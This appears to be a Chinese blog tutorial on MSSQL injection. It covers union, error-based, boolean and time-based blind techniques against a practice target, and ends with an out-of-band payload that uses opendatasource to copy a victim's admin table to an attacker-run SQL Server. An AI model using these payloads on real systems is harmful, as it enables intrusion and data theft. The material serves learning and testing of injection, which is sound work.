MSSQL注入


数据库简介

MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库

注入简介

MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路

对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“–”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。

联合查询


基础知识:MSSQL的系统自带库–>master

其实再每个网站中,一般一个网站不会跨库,而再MSSQL中每个库都有一个系统自带表–>sysobjects

此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表

syscolumns表重我们需要查询的字段就是name字段

1649513114611

1649513316452

top关键字:由于MSSQL中不存在limit,那么想要输出一条数据怎么办呢,直接top 1,输出两条数据top 2,输出第二条数据top 1+限制条件

如何实现MySQL中的group_concat()函数的用法,实例如下

1
SELECT top 1 id, [name] = stuff((SELECT ',' + [name] FROM syscolumns sys WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '') FROM syscolumns where id =2105058535;

1649513359659

MSSQL中常用参数

  • @@version,查询当前数据库版本

  • db_name(),查询当前数据库名称

  • user,查询当前用户

  • IS_SRVROLEMEMBER(),查询数据库权限。

  • 常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin

用法如下,证明相应权限则返回1

1649513413761

原理不在过多解释,注入原理与MySQL一致,直接打开靶场练习,判断注入点,如下图

1649513440514

1649513463986

此处就不再使用order by判断字段数了,很明显就三个字段,直接进行联合查询,与MySQL不一样的是,联合查询不能直接输入数字,占位符需要使用null,不太明显的可以看到多了一行空数据,如下图

1649513497772

接下来使用单引号,来判断字段的数据类型,经过测试数据类型如下图

1649513522089

查询表名,如下图

1649513556636 查询字段名,如下图

1649513584303

1649513609357

数据就不再一一查询。。

报错注入


cast()函数介绍

cast函数可以把查询的数据转化成字符型,用法:

cast(count(*) as varchar(255))+char(94)

注意加号再url中需要编码成%2b不然会报错,报错提示如下

1649513664295

MSSQL的报错注入就是再有错误信息的情况下,根绝数据类型不同进行报错注入,实例介绍,如下

1649513695453

having 1=1 和group by 联合使用的报错,首先使用having 1=1 爆出第一个字段名称

1649513722014

group by 爆第2、3、4个字段,这是由于group by 后面跟的字段数要与select查询的字段数一致,如下图

1649513749415

1649513774579

1649513800524

1649513828197

MSSQL盲注


布尔盲注

布尔盲注没多大变化,几乎与MySQL一致,注意一下函数就好

len()函数,MSSQL中的判断字符串长度的函数

substring()函数,截取字符串函数

其余的步骤和MySQL一致

1649513857155

1649513883271

时间盲注

与MySQL不一样的是,MSSQL数据库中是不存在sleep函数的,那应该怎么办呢?

没有if函数,但是有if语句ascii函数是条件,waitfor delay ‘0:0:5’是执行命令,延时五秒的意思

1649513912046

1649513939496

其余步骤就是不停改变子查询语句即可

其他思路

或许可以使用高耗时操作,找了半天没找到数据库中的高耗时操作,原则上如果有直接替代waitfor语句即可

MSSQL反弹注入


我们在进行SQL注入时明明是sql注入点却无法进行注入,注入工具猜解速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是注入攻击中常遇到的问题。为了解决以上疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术需要依靠opendatasource函数支持

环境搭建

MSSQL注入-反弹注入实际上就是把查询出来的数据发到我们的MSSQL服务器上,那么我们就需要自己搭建MSSQL数据库和一个公网ip,这里有一个虚拟空间,可以免去MSSQL安装环境并且不需要特意购置云服务器来获取公网ip

虚拟空间:香港云

这个香港云注册还需要邮箱,我一般不填真实信息,所以找了个10分钟邮箱

免费邮箱:10分钟邮箱

我选择了自己搭建。。

opendatasource函数

语法:opendatasource(provider_name,init_string)

provider_name:

  • 注册为用于访问数据源的OLE DB提供程序的PROGID的名称,MSSQL的名称为SQLOLEDB

init_string:链接字符串

  • 链接地址,端口,用户名,密码,数据库名

  • sever=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称

实现功能:

获取所有库.当前库所有表.表里所有内容.分区路径.

本机建立库和表,方便反弹时写进东西

1
payload:%27%20;%20insert%20into%20opendatasource(%27sqloledb%27,%27server=XX.xx.xx.xx,1433;uid=sa;pwd=xxxxxxxxx;database=test%27).test.dbo.%20test%20select%20*%20from%20admin--+

点击并拖拽以移动

函数外的.test.dbo.test表示连接成功后,test数据库,dbo是权限,下个test是我建的表,再后面是查询的被攻击的数据表

注意:此处需要知道admin的字段数,因为test表需要和admin表字段数一致